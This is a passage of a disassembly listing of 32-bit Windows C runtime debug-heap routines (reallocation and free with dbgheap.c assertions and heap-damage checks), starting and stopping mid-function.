ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_C] mov [edx+0Ch], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax+14h], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov [edx+18h], eax mov ecx, [ebp+var_4] mov dword_4EF86C, ecx loc_419273: ; CODE XREF: sub_418FC0+20Ej push 4 xor edx, edx mov dl, byte_4510CC push edx mov eax, [ebp+var_4] add eax, 1Ch push eax call sub_41B190 add esp, 0Ch push 4 xor ecx, ecx mov cl, byte_4510CC push ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] lea ecx, [eax+edx+20h] push ecx call sub_41B190 add esp, 0Ch mov edx, [ebp+arg_0] push edx xor eax, eax mov al, byte_4510CE push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx call sub_41B190 add esp, 0Ch mov eax, [ebp+var_4] add eax, 20h loc_4192CC: ; CODE XREF: sub_418FC0+DFj ; sub_418FC0+13Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418FC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_419300 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419300 proc near ; CODE XREF: .nsp0:004192F1p ; sub_41EB90+40p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] imul eax, [ebp+arg_0] mov [ebp+arg_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_418EF0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_419359 mov edx, [ebp+var_8] mov [ebp+var_C], edx mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_4], eax loc_419340: ; CODE XREF: sub_419300+57j mov ecx, [ebp+var_C] cmp ecx, [ebp+var_4] jnb short loc_419359 mov edx, [ebp+var_C] mov byte ptr [edx], 0 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_419340 ; --------------------------------------------------------------------------- loc_419359: ; CODE XREF: sub_419300+2Fj ; sub_419300+46j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_419300 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419360 proc near ; CODE XREF: sub_4010AB+2Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_419380 add esp, 14h pop ebp retn sub_419360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419380 proc near ; CODE XREF: sub_419360+11p ; sub_41D930+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 9 call sub_41FB40 add esp, 4 push 1 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4193C0 add esp, 18h mov [ebp+var_4], eax push 9 call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_419380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193C0 proc near ; CODE XREF: sub_419380+24p ; sub_419900+24p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_14], 0 cmp [ebp+arg_0], 0 jnz short loc_4193F3 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_418EF0 add esp, 10h jmp loc_4198CA ; --------------------------------------------------------------------------- loc_4193F3: ; CODE XREF: sub_4193C0+14j cmp [ebp+arg_14], 0 jz short loc_419416 cmp [ebp+arg_4], 0 jnz short loc_419416 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_419980 add esp, 8 xor eax, eax jmp loc_4198CA ; --------------------------------------------------------------------------- loc_419416: ; CODE XREF: sub_4193C0+37j ; sub_4193C0+3Dj mov eax, dword_4510C0 and eax, 4 test eax, eax jz short loc_419452 loc_419422: ; CODE XREF: sub_4193C0+90j call sub_41A090 test eax, eax jnz short loc_41944C push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 239h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41944C int 3 ; Trap to Debugger loc_41944C: ; CODE XREF: sub_4193C0+69j ; sub_4193C0+89j xor ecx, ecx test ecx, ecx jnz short loc_419422 loc_419452: ; CODE XREF: sub_4193C0+60j mov edx, dword_4510C4 mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, dword_4510C8 jnz short loc_419467 int 3 ; Trap to Debugger loc_419467: ; CODE XREF: sub_4193C0+A4j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 2 call off_451490 add esp, 1Ch test eax, eax jnz short loc_4194EC cmp [ebp+arg_C], 0 jz short loc_4194BF loc_419494: ; CODE XREF: sub_4193C0+FBj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx push offset aClientHookReAl ; "Client hook re-allocation failure at fi"... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 1Ch cmp eax, 1 jnz short loc_4194B7 int 3 ; Trap to Debugger loc_4194B7: ; CODE XREF: sub_4193C0+F4j xor eax, eax test eax, eax jnz short loc_419494 jmp short loc_4194E5 ; --------------------------------------------------------------------------- loc_4194BF: ; CODE XREF: sub_4193C0+D2j ; sub_4193C0+123j push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_4194DF int 3 ; Trap to Debugger loc_4194DF: ; CODE XREF: sub_4193C0+11Cj xor ecx, ecx test ecx, ecx jnz short loc_4194BF loc_4194E5: ; CODE XREF: sub_4193C0+FDj xor eax, eax jmp loc_4198CA ; --------------------------------------------------------------------------- loc_4194EC: ; CODE XREF: sub_4193C0+CCj cmp [ebp+arg_4], 0FFFFFFDBh jbe short loc_41951E loc_4194F2: ; CODE XREF: sub_4193C0+155j mov edx, [ebp+arg_4] push edx push offset aAllocationTooL ; "Allocation too large or negative: %u by"... push 0 push 0 push 0 push 1 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_419511 int 3 ; Trap to Debugger loc_419511: ; CODE XREF: sub_4193C0+14Ej xor eax, eax test eax, eax jnz short loc_4194F2 xor eax, eax jmp loc_4198CA ; --------------------------------------------------------------------------- loc_41951E: ; CODE XREF: sub_4193C0+130j cmp [ebp+arg_8], 1 jz short loc_419566 mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 4 jz short loc_419566 mov edx, [ebp+arg_8] and edx, 0FFFFh cmp edx, 2 jz short loc_419566 loc_419540: ; CODE XREF: sub_4193C0+1A4j push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 1 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_419560 int 3 ; Trap to Debugger loc_419560: ; CODE XREF: sub_4193C0+19Dj xor eax, eax test eax, eax jnz short loc_419540 loc_419566: ; CODE XREF: sub_4193C0+162j ; sub_4193C0+170j ... mov ecx, [ebp+arg_0] push ecx call sub_41A4F0 add esp, 4 test eax, eax jnz short loc_419597 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 261h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419597 int 3 ; Trap to Debugger loc_419597: ; CODE XREF: sub_4193C0+1B4j ; sub_4193C0+1D4j xor edx, edx test edx, edx jnz short loc_419566 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jnz short loc_4195B6 mov [ebp+var_14], 1 loc_4195B6: ; CODE XREF: sub_4193C0+1EDj cmp [ebp+var_14], 0 jz short loc_4195FA loc_4195BC: ; CODE XREF: sub_4193C0+236j mov edx, [ebp+var_8] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_4195D1 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_4195F2 loc_4195D1: ; CODE XREF: sub_4193C0+206j push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"... push 0 push 26Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_4195F2 int 3 ; Trap to Debugger loc_4195F2: ; CODE XREF: sub_4193C0+20Fj ; sub_4193C0+22Fj xor ecx, ecx test ecx, ecx jnz short loc_4195BC jmp short loc_41965E ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_4193C0+1FAj mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41961F mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_41961F mov [ebp+arg_8], 2 loc_41961F: ; CODE XREF: sub_4193C0+248j ; sub_4193C0+256j ... mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp eax, ecx jz short loc_419658 push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"... push 0 push 272h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419658 int 3 ; Trap to Debugger loc_419658: ; CODE XREF: sub_4193C0+275j ; sub_4193C0+295j xor edx, edx test edx, edx jnz short loc_41961F loc_41965E: ; CODE XREF: sub_4193C0+238j cmp [ebp+arg_14], 0 jz short loc_419689 mov eax, [ebp+arg_4] add eax, 24h push eax mov ecx, [ebp+var_8] push ecx call sub_41FDD0 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_419687 xor eax, eax jmp loc_4198CA ; --------------------------------------------------------------------------- loc_419687: ; CODE XREF: sub_4193C0+2BEj jmp short loc_4196AC ; --------------------------------------------------------------------------- loc_419689: ; CODE XREF: sub_4193C0+2A2j mov edx, [ebp+arg_4] add edx, 24h push edx mov eax, [ebp+var_8] push eax call sub_41FD20 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4196AC xor eax, eax jmp loc_4198CA ; --------------------------------------------------------------------------- loc_4196AC: ; CODE XREF: sub_4193C0:loc_419687j ; sub_4193C0+2E3j mov ecx, dword_4510C4 add ecx, 1 mov dword_4510C4, ecx cmp [ebp+var_14], 0 jnz short loc_419717 mov edx, [ebp+var_C] mov eax, dword_4EF868 sub eax, [edx+10h] mov dword_4EF868, eax mov ecx, dword_4EF868 add ecx, [ebp+arg_4] mov dword_4EF868, ecx mov edx, [ebp+var_C] mov eax, dword_4EF870 sub eax, [edx+10h] mov dword_4EF870, eax mov ecx, dword_4EF870 add ecx, [ebp+arg_4] mov dword_4EF870, ecx mov edx, dword_4EF870 cmp edx, dword_4EF874 jbe short loc_419717 mov eax, dword_4EF870 mov dword_4EF874, eax loc_419717: ; CODE XREF: sub_4193C0+2FFj ; sub_4193C0+34Bj mov ecx, [ebp+var_C] add ecx, 20h mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov eax, [ebp+arg_4] cmp eax, [edx+10h] jbe short loc_41974F mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] sub edx, [ecx+10h] push edx xor eax, eax mov al, byte_4510CE push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_4] add edx, [ecx+10h] push edx call sub_41B190 add esp, 0Ch loc_41974F: ; CODE XREF: sub_4193C0+369j push 4 xor eax, eax mov al, byte_4510CC push eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] push ecx call sub_41B190 add esp, 0Ch cmp [ebp+var_14], 0 jnz short loc_419789 mov edx, [ebp+var_C] mov eax, [ebp+arg_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_10] mov [ecx+0Ch], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_10] mov [eax+18h], ecx loc_419789: ; CODE XREF: sub_4193C0+3ACj mov edx, [ebp+var_C] mov eax, [ebp+arg_4] mov [edx+10h], eax loc_419792: ; CODE XREF: sub_4193C0+40Bj cmp [ebp+arg_14], 0 jnz short loc_4197C7 cmp [ebp+arg_14], 0 jnz short loc_4197A6 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jz short loc_4197C7 loc_4197A6: ; CODE XREF: sub_4193C0+3DCj push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "... push 0 push 2A8h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_4197C7 int 3 ; Trap to Debugger loc_4197C7: ; CODE XREF: sub_4193C0+3D6j ; sub_4193C0+3E4j ... xor edx, edx test edx, edx jnz short loc_419792 mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jz short loc_4197DB cmp [ebp+var_14], 0 jz short loc_4197E3 loc_4197DB: ; CODE XREF: sub_4193C0+413j mov eax, [ebp+var_4] jmp loc_4198CA ; --------------------------------------------------------------------------- loc_4197E3: ; CODE XREF: sub_4193C0+419j mov ecx, [ebp+var_C] cmp dword ptr [ecx], 0 jz short loc_4197FB mov edx, [ebp+var_C] mov eax, [edx] mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [eax+4], edx jmp short loc_419837 ; --------------------------------------------------------------------------- loc_4197FB: ; CODE XREF: sub_4193C0+429j ; sub_4193C0+46Aj mov eax, dword_4EF864 cmp eax, [ebp+var_8] jz short loc_419826 push offset a_plastblockPol ; "_pLastBlock == pOldBlock" push 0 push 2B7h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419826 int 3 ; Trap to Debugger loc_419826: ; CODE XREF: sub_4193C0+443j ; sub_4193C0+463j xor ecx, ecx test ecx, ecx jnz short loc_4197FB mov edx, [ebp+var_C] mov eax, [edx+4] mov dword_4EF864, eax loc_419837: ; CODE XREF: sub_4193C0+439j mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jz short loc_41984F mov edx, [ebp+var_C] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ecx] mov [eax], edx jmp short loc_41988A ; --------------------------------------------------------------------------- loc_41984F: ; CODE XREF: sub_4193C0+47Ej ; sub_4193C0+4BEj mov eax, dword_4EF86C cmp eax, [ebp+var_8] jz short loc_41987A push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock" push 0 push 2C2h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41987A int 3 ; Trap to Debugger loc_41987A: ; CODE XREF: sub_4193C0+497j ; sub_4193C0+4B7j xor ecx, ecx test ecx, ecx jnz short loc_41984F mov edx, [ebp+var_C] mov eax, [edx] mov dword_4EF86C, eax loc_41988A: ; CODE XREF: sub_4193C0+48Dj cmp dword_4EF86C, 0 jz short loc_4198A1 mov ecx, dword_4EF86C mov edx, [ebp+var_C] mov [ecx+4], edx jmp short loc_4198A9 ; --------------------------------------------------------------------------- loc_4198A1: ; CODE XREF: sub_4193C0+4D1j mov eax, [ebp+var_C] mov dword_4EF864, eax loc_4198A9: ; CODE XREF: sub_4193C0+4DFj mov ecx, [ebp+var_C] mov edx, dword_4EF86C mov [ecx], edx mov eax, [ebp+var_C] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_C] mov dword_4EF86C, ecx mov eax, [ebp+var_4] loc_4198CA: ; CODE XREF: sub_4193C0+2Ej ; sub_4193C0+51j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4193C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_419900 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419900 proc near ; CODE XREF: .nsp0:004198F1p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 9 call sub_41FB40 add esp, 4 push 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4193C0 add esp, 18h mov [ebp+var_4], eax push 9 call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_419900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419940 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_409F35+B7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_419980 add esp, 8 pop ebp retn sub_419940 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_4199B0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419980 proc near ; CODE XREF: sub_418E10+98p ; sub_4193C0+47p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 9 call sub_41FB40 add esp, 4 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4199B0 add esp, 8 push 9 call sub_41FBE0 add esp, 4 pop ebp retn sub_419980 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B0 proc near ; CODE XREF: .nsp0:00419969p ; sub_419980+15p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, dword_4510C0 and eax, 4 test eax, eax jz short loc_4199F3 loc_4199C3: ; CODE XREF: sub_4199B0+41j call sub_41A090 test eax, eax jnz short loc_4199ED push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 3E1h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_4199ED int 3 ; Trap to Debugger loc_4199ED: ; CODE XREF: sub_4199B0+1Aj ; sub_4199B0+3Aj xor ecx, ecx test ecx, ecx jnz short loc_4199C3 loc_4199F3: ; CODE XREF: sub_4199B0+11j cmp [ebp+arg_0], 0 jnz short loc_4199FE jmp loc_419D95 ; --------------------------------------------------------------------------- loc_4199FE: ; CODE XREF: sub_4199B0+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call off_451490 add esp, 1Ch test eax, eax jnz short loc_419A48 loc_419A1D: ; CODE XREF: sub_4199B0+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_419A3D int 3 ; Trap to Debugger loc_419A3D: ; CODE XREF: sub_4199B0+8Aj xor ecx, ecx test ecx, ecx jnz short loc_419A1D jmp loc_419D95 ; --------------------------------------------------------------------------- loc_419A48: ; CODE XREF: sub_4199B0+6Bj ; sub_4199B0+CDj mov edx, [ebp+arg_0] push edx call sub_41A4F0 add esp, 4 test eax, eax jnz short loc_419A79 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 3F3h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419A79 int 3 ; Trap to Debugger loc_419A79: ; CODE XREF: sub_4199B0+A6j ; sub_4199B0+C6j xor eax, eax test eax, eax jnz short loc_419A48 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_4], ecx loc_419A88: ; CODE XREF: sub_4199B0+12Fj mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_419ADB mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jz short loc_419ADB mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_419ADB mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jz short loc_419ADB push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 3F9h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419ADB int 3 ; Trap to Debugger loc_419ADB: ; CODE XREF: sub_4199B0+E6j ; sub_4199B0+EFj ... xor edx, edx test edx, edx jnz short loc_419A88 mov eax, dword_4510C0 and eax, 4 test eax, eax jnz loc_419BB6 push 4 mov cl, byte_4510CC push ecx mov edx, [ebp+var_4] add edx, 1Ch push edx call sub_41A000 add esp, 0Ch test eax, eax jnz short loc_419B50 loc_419B0D: ; CODE XREF: sub_4199B0+19Ej mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_4510D0[ecx*4] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 1 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_419B4A int 3 ; Trap to Debugger loc_419B4A: ; CODE XREF: sub_4199B0+197j xor eax, eax test eax, eax jnz short loc_419B0D loc_419B50: ; CODE XREF: sub_4199B0+15Bj push 4 mov cl, byte_4510CC push ecx mov edx, [ebp+var_4] mov eax, [edx+10h] mov ecx, [ebp+var_4] lea edx, [ecx+eax+20h] push edx call sub_41A000 add esp, 0Ch test eax, eax jnz short loc_419BB6 loc_419B73: ; CODE XREF: sub_4199B0+204j mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_4510D0[ecx*4] push edx push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 1 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_419BB0 int 3 ; Trap to Debugger loc_419BB0: ; CODE XREF: sub_4199B0+1FDj xor eax, eax test eax, eax jnz short loc_419B73 loc_419BB6: ; CODE XREF: sub_4199B0+13Bj ; sub_4199B0+1C1j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jnz short loc_419C2B loc_419BBF: ; CODE XREF: sub_4199B0+249j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_419BD4 mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_419BF5 loc_419BD4: ; CODE XREF: sub_4199B0+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 push 40Eh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419BF5 int 3 ; Trap to Debugger loc_419BF5: ; CODE XREF: sub_4199B0+222j ; sub_4199B0+242j xor ecx, ecx test ecx, ecx jnz short loc_419BBF mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_4510CD push ecx mov edx, [ebp+var_4] push edx call sub_41B190 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_41FFC0 add esp, 4 jmp loc_419D95 ; --------------------------------------------------------------------------- loc_419C2B: ; CODE XREF: sub_4199B0+20Dj mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 2 jnz short loc_419C41 cmp [ebp+arg_4], 1 jnz short loc_419C41 mov [ebp+arg_4], 2 loc_419C41: ; CODE XREF: sub_4199B0+282j ; sub_4199B0+288j ... mov edx, [ebp+var_4] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_419C6D push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 41Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419C6D int 3 ; Trap to Debugger loc_419C6D: ; CODE XREF: sub_4199B0+29Aj ; sub_4199B0+2BAj xor ecx, ecx test ecx, ecx jnz short loc_419C41 mov edx, [ebp+var_4] mov eax, dword_4EF870 sub eax, [edx+10h] mov dword_4EF870, eax mov ecx, dword_4510C0 and ecx, 2 test ecx, ecx jnz loc_419D6C mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_419CAC mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_419CEA ; --------------------------------------------------------------------------- loc_419CAC: ; CODE XREF: sub_4199B0+2EAj ; sub_4199B0+32Cj mov ecx, dword_4EF864 cmp ecx, [ebp+var_4] jz short loc_419CD8 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 push 42Ah push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419CD8 int 3 ; Trap to Debugger loc_419CD8: ; CODE XREF: sub_4199B0+305j ; sub_4199B0+325j xor edx, edx test edx, edx jnz short loc_419CAC mov eax, [ebp+var_4] mov ecx, [eax+4] mov dword_4EF864, ecx loc_419CEA: ; CODE XREF: sub_4199B0+2FAj mov edx, [ebp+var_4] cmp dword ptr [edx+4], 0 jz short loc_419D02 mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx] mov [ecx], eax jmp short loc_419D3F ; --------------------------------------------------------------------------- loc_419D02: ; CODE XREF: sub_4199B0+341j ; sub_4199B0+382j mov ecx, dword_4EF86C cmp ecx, [ebp+var_4] jz short loc_419D2E push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 push 434h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419D2E int 3 ; Trap to Debugger loc_419D2E: ; CODE XREF: sub_4199B0+35Bj ; sub_4199B0+37Bj xor edx, edx test edx, edx jnz short loc_419D02 mov eax, [ebp+var_4] mov ecx, [eax] mov dword_4EF86C, ecx loc_419D3F: ; CODE XREF: sub_4199B0+350j mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_4510CD push ecx mov edx, [ebp+var_4] push edx call sub_41B190 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_41FFC0 add esp, 4 jmp short loc_419D95 ; --------------------------------------------------------------------------- loc_419D6C: ; CODE XREF: sub_4199B0+2DEj mov ecx, [ebp+var_4] mov dword ptr [ecx+14h], 0 mov edx, [ebp+var_4] mov eax, [edx+10h] push eax xor ecx, ecx mov cl, byte_4510CD push ecx mov edx, [ebp+var_4] add edx, 20h push edx call sub_41B190 add esp, 0Ch loc_419D95: ; CODE XREF: sub_4199B0+49j ; sub_4199B0+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4199B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_419DC0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DC0 proc near ; CODE XREF: .nsp0:00419DA9p ; sub_41D930+11p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, dword_4510C0 and eax, 4 test eax, eax jz short loc_419E05 loc_419DD5: ; CODE XREF: sub_419DC0+43j call sub_41A090 test eax, eax jnz short loc_419DFF push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 47Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419DFF int 3 ; Trap to Debugger loc_419DFF: ; CODE XREF: sub_419DC0+1Cj ; sub_419DC0+3Cj xor ecx, ecx test ecx, ecx jnz short loc_419DD5 loc_419E05: ; CODE XREF: sub_419DC0+13j push 9 call sub_41FB40 add esp, 4 loc_419E0F: ; CODE XREF: 